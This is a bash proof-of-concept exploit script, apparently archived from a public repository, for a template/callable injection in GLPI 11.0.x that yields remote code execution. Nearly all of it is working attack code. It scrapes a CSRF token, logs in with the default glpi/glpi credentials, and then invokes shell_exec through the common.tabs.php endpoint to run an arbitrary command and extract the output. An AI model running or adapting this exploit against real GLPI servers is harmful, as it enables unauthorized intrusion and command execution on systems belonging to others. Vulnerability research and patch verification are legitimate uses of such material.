#!/bin/bash # Archived for authorized security research only. # Source: https://github.com/CEAarab/CVE-2026-26026-PoC (see README for attribution/license) # GLPI 11.0.x template/callable injection to RCE; requires an administrator session. # Usage: ./exploit.sh TARGET="${1:-176.16.74.57}" FORM_ID="${2:-6}" CMD="${3:-id}" COOKIES="/tmp/glpi_cookies.txt" echo "[*] Target: $TARGET | Form ID: $FORM_ID | Command: $CMD" rm -f "$COOKIES" echo "[*] Getting session cookie..." curl -s -c "$COOKIES" "http://${TARGET}/" > /dev/null CSRF=$(curl -s -b "$COOKIES" "http://${TARGET}/" | grep -oP 'name="_glpi_csrf_token" value="\K[^"]*') if [ -z "$CSRF" ]; then echo "[-] Failed to get CSRF token" exit 1 fi echo "[+] CSRF: ${CSRF:0:20}..." echo "[*] Logging in as glpi/glpi..." curl -s -b "$COOKIES" -c "$COOKIES" -X POST "http://${TARGET}/front/login.php" \ -d "noAUTO=0&redirect=&_glpi_csrf_token=${CSRF}&login_name=glpi&login_password=glpi" \ -o /dev/null LOGIN_CHECK=$(curl -s -b "$COOKIES" "http://${TARGET}/front/central.php" -o /dev/null -w "%{http_code}") if [ "$LOGIN_CHECK" != "200" ]; then echo "[-] Login failed (got HTTP $LOGIN_CHECK on dashboard)" exit 1 fi echo "[+] Login successful" echo "[*] Triggering RCE: $CMD" ENCODED_CMD=$(echo "$CMD" | sed 's/ /+/g') RESULT=$(curl -s -b "$COOKIES" "http://${TARGET}/ajax/common.tabs.php?_target=/front/form/form.form.php&_itemtype=Glpi%5CForm%5CForm&_glpi_tab=Glpi%5CForm%5CForm%24main&id=${FORM_ID}&fn=shell_exec&a=${ENCODED_CMD}") OUTPUT=$(echo "$RESULT" | grep -oP 'value="\K(uid=|flag|root:|www-data|/[a-z])[^"]*' | head -5) if [ -z "$OUTPUT" ]; then OUTPUT=$(echo "$RESULT" | grep -oP 'value="[^"]{5,}"' | grep -v "Glpi\|csrf\|always_visible\|visible_if\|hidden_if\|First section\|test form\|deadbeef" | sed 's/value="//;s/"$//' | head -5) fi if [ -n "$OUTPUT" ]; then echo "[+] Command output:" echo "$OUTPUT" else echo "[!] Could not parse output cleanly. Saving raw response to /tmp/rce_response.html" echo "$RESULT" > /tmp/rce_response.html echo "[!] Check: grep 'value=' /tmp/rce_response.html" fi